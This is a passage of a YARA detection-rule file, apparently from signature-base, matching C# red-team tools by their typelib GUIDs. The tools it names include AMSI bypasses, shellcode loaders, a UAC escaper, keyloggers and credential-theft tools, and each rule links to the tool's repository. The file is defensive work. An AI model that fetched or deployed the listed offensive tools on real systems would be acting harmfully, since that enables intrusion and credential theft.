		id = "5966be44-c010-5c63-9576-1aaf36397d6c"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/cobbr/SharpShell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L496-L510"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9d49e6a85514fb47bd6875372cbbc8fc1d30e8572ce6e5caa594da07f58d4c06"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "bdba47c5-e823-4404-91d0-7f6561279525" ascii wide
		$typelibguid1lo = "b84548dc-d926-4b39-8293-fa0bdef34d49" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Evilwmiprovider : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3a6cf00e-28c4-5e6f-a28d-b3f28fca6eed"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/sunnyc7/EvilWMIProvider"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L512-L525"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "431aa788d1cd192803ad7a5cc66ea48b7a83d47e009c42280e3e77c6ffb8662c"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a4020626-f1ec-4012-8b17-a2c8a0204a4b" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Gadgettojscript : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e296795f-d006-52a9-92c4-fb60c930564b"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/med0x2e/GadgetToJScript"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L527-L541"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b072024bc927eaff8bb81bc660dd55a126f9b78e5db591042137b59647631544"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "af9c62a1-f8d2-4be0-b019-0a7873e81ea9" ascii wide
		$typelibguid1lo = "b2b3adb0-1669-4b94-86cb-6dd682ddbea3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Azurecli_Extractor : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f595545a-a7a6-577c-b3f4-febf7bf1b6c3"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/0x09AL/AzureCLI-Extractor"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L543-L556"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6c55a291ba3475a7c7faa2a0152c04b01066a3b3569a5fb052c092b08a8e75ae"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a73cad74-f8d6-43e6-9a4c-b87832cdeace" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_UAC_Escaper : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "ea95ff3c-0cbb-5230-b5e4-bd8b2ff975eb"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/UAC-Escaper"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L558-L571"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8b7315970124c7997ca7d7d21e6c26ac9c905cdbc1ee009f7800b6bc98f9c3d4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "95359279-5cfa-46f6-b400-e80542a7336a" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Httpsbeaconshell : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d66e3566-6082-570a-a168-f44c9d8c7619"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/limbenjamin/HTTPSBeaconShell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L573-L586"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4e51832b9a5f7b82da2f11bcb34664b0a8d0308b0e823436f4339233c07213b3"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "aca853dc-9e74-4175-8170-e85372d5f2a9" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Amsiscanbufferbypass : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "12a15e61-30fb-50a3-a59b-39f9871444f0"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/rasta-mouse/AmsiScanBufferBypass"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L588-L601"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "227b9878e11d1e14aa216cc9d46364cff727b1443f4c18f083971be8dd5e603c"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "431ef2d9-5cca-41d3-87ba-c7f5e4582dd2" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Shellcodeloader : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "b8787dac-48a3-5711-86ba-0fda86b6224e"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/Hzllaga/ShellcodeLoader"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L603-L616"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3461e21a0a0661be9830023d56ecdd0434ab9f32328118ad87b2216061851127"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a48fe0e1-30de-46a6-985a-3f2de3c8ac96" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Keystrokeapi : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e715bce8-531b-5e2a-bd02-b2fc4990c499"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/fabriciorissetto/KeystrokeAPI"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L618-L632"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "36690992d1e5f3df52ad3a3fc218335ee78ce5e1bf7433fa769c8ee618f00b9e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "f6fec17e-e22d-4149-a8a8-9f64c3c905d3" ascii wide
		$typelibguid1lo = "b7aa4e23-39a4-49d5-859a-083c789bfea2" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Shellcoderunner : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "949364e7-dcb6-5afd-ade9-cc34a6e15e97"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/antman1p/ShellCodeRunner"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L634-L648"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fecb1562fe42fa512ab3dd932019fa9ba2c09d574e909361c3af9e190cd5db17"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "634874b7-bf85-400c-82f0-7f3b4659549a" ascii wide
		$typelibguid1lo = "2f9c3053-077f-45f2-b207-87c3c7b8f054" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Offensivecsharp : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "339f6858-6076-5320-ba5f-2903e642ea42"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/diljith369/OffensiveCSharp"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L650-L674"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "64beb345845aeb7083a2c35d94fa433e95dd810b82c0cf392dd5e3de3bb5b110"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "6c3fbc65-b673-40f0-b1ac-20636df01a85" ascii wide
		$typelibguid1lo = "2bad9d69-ada9-4f1e-b838-9567e1503e93" ascii wide
		$typelibguid2lo = "512015de-a70f-4887-8eae-e500fd2898ab" ascii wide
		$typelibguid3lo = "1ee4188c-24ac-4478-b892-36b1029a13b3" ascii wide
		$typelibguid4lo = "5c6b7361-f9ab-41dc-bfa0-ed5d4b0032a8" ascii wide
		$typelibguid5lo = "048a6559-d4d3-4ad8-af0f-b7f72b212e90" ascii wide
		$typelibguid6lo = "3412fbe9-19d3-41d8-9ad2-6461fcb394dc" ascii wide
		$typelibguid7lo = "9ea4e0dc-9723-4d93-85bb-a4fcab0ad210" ascii wide
		$typelibguid8lo = "6d2b239c-ba1e-43ec-8334-d67d52b77181" ascii wide
		$typelibguid9lo = "42e8b9e1-0cf4-46ae-b573-9d0563e41238" ascii wide
		$typelibguid10lo = "0d15e0e3-bcfd-4a85-adcd-0e751dab4dd6" ascii wide
		$typelibguid11lo = "644dfd1a-fda5-4948-83c2-8d3b5eda143a" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_SHAPESHIFTER : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8903c65a-624f-5e8d-a3f6-4572b56bd2f7"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/matterpreter/SHAPESHIFTER"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L676-L689"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "87804b4f657dd838e969e41320d08455470611688f1624632df03868d204490d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a3ddfcaa-66e7-44fd-ad48-9d80d1651228" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Evasor : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "457959ed-3e90-52c7-89f9-e1b17b35260e"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/cyberark/Evasor"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L691-L704"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "883dcb8214c036d4a81ee09f97f206f19f24c6a6526437ba61145cb01cb2b1ba"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "1c8849ef-ad09-4727-bf81-1f777bd1aef8" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Stracciatella : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5b1a8102-6d59-5f2f-8ae2-b3c1f75a561d"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/mgeeky/Stracciatella"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L706-L719"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ca28e325cd98f2c9793c434dfd57404e17ed80e57023095d877993a01ee718ee"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "eaafa0ac-e464-4fc4-9713-48aa9a6716fb" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Logger : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "82937fef-8280-5bc6-af4a-55c5cb3a7553"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/xxczaki/logger"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L721-L734"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "bf77dcb7fccad566e998df42e9a8248a117a8636500b80fe885d756cfa999f37"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "9e92a883-3c8b-4572-a73e-bb3e61cfdc16" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Internal_Monologue : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "ce2773a2-b0b7-560e-ba21-3f018ddcacb3"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/eladshamir/Internal-Monologue"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L736-L750"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "983273ebcba36e8a22d5bda8bdbba0e1fb31fb128a76a7b39aa012bc83873aff"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "0c0333db-8f00-4b68-b1db-18a9cacc1486" ascii wide
		$typelibguid1lo = "84701ace-c584-4886-a3cf-76c57f6e801a" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_GRAT2 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e731d563-0d16-5f84-8127-624a71f8b646"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/r3nhat/GRAT2"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L752-L765"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "535f24d46b317dc5c74779931deb92dd922a79cba4f48588763a3d717bbdec82"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "5e7fce78-1977-444f-a18e-987d708a2cff" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Powershdll : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3f582a47-078e-525f-9d02-4ee7a455a3b2"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/p3nt4/PowerShdll"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L767-L780"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0c2b4a2e3008605c35296d2064d4ab3dbb62230db57d1756f0c11e47a303c007"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "36ebf9aa-2f37-4f1d-a2f1-f2a45deeaf21" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Csharpamsibypass : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "ca97004e-edc1-5b5a-ac67-e81ae24631aa"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/WayneJLee/CsharpAmsiBypass"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L782-L795"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "65daf297f51dd75ed3616504df96aea9b7a61aebd5a3b43c208f1709daedc193"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "4ab3b95d-373c-4197-8ee3-fe0fa66ca122" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Hastyseries : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0d35acf4-c763-593c-94e2-c499d3826375"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/obscuritylabs/HastySeries"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L797-L819"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4987c7afbf339a6a21634eb4647a0b09bfa149d330b7fb2aea2467a25e629c62"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8435531d-675c-4270-85bf-60db7653bcf6" ascii wide
		$typelibguid1lo = "47db989f-7e33-4e6b-a4a5-c392b429264b" ascii wide
		$typelibguid2lo = "300c7489-a05f-4035-8826-261fa449dd96" ascii wide
		$typelibguid3lo = "41bf8781-ae04-4d80-b38d-707584bf796b" ascii wide
		$typelibguid4lo = "620ed459-18de-4359-bfb0-6d0c4841b6f6" ascii wide
		$typelibguid5lo = "91e7cdfe-0945-45a7-9eaa-0933afe381f2" ascii wide
		$typelibguid6lo = "c28e121a-60ca-4c21-af4b-93eb237b882f" ascii wide
		$typelibguid7lo = "698fac7a-bff1-4c24-b2c3-173a6aae15bf" ascii wide
		$typelibguid8lo = "63a40d94-5318-42ad-a573-e3a1c1284c57" ascii wide
		$typelibguid9lo = "56b8311b-04b8-4e57-bb58-d62adc0d2e68" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Dreamprotectorfree : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "9ebee989-3441-5a76-b243-08de978b541c"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/Paskowsky/DreamProtectorFree"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L821-L834"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "bd8a6373695b9ab69fdf9e7f4a65c2db4e7a5f6f04f6d308ec352322a396aa44"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "f7e8a902-2378-426a-bfa5-6b14c4b40aa3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Redsharp : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "2aa62d61-075c-5664-a7fc-2b9d84b954ed"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/padovah4ck/RedSharp"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L836-L849"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b751bedba84e8fc253686a7acd33e46a96140f2903f99ce1df6b4932d475bf30"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "30b2e0cf-34dd-4614-a5ca-6578fb684aea" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_ESC : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "a57c47e8-62bf-5425-9735-35a3e3a0c218"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NetSPI/ESC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L851-L865"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0a8244145b25260912c8b1d2968fe33fb8497762a6d8f2bbb88a734346990d55"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "06260ce5-61f4-4b81-ad83-7d01c3b37921" ascii wide
		$typelibguid1lo = "87fc7ede-4dae-4f00-ac77-9c40803e8248" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Csharp_Loader : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "bf0c3d93-cbea-54c7-b950-fd4e5a600d07"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/Csharp-Loader"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L867-L880"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "aa1a176ce3dbf6ae43d921822d2ab1689a4bf74077fa2a9aa72534ab3cfa3ecc"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "5fd7f9fc-0618-4dde-a6a0-9faefe96c8a1" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Bantam : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0ed3f5e5-d954-51e2-b7fb-4c25ca3d9f10"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/gellin/bantam"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L882-L895"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2dce37cd31fa359658519bd50fbb335fc6fd82af5e78a4d86d173d3628e0951f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
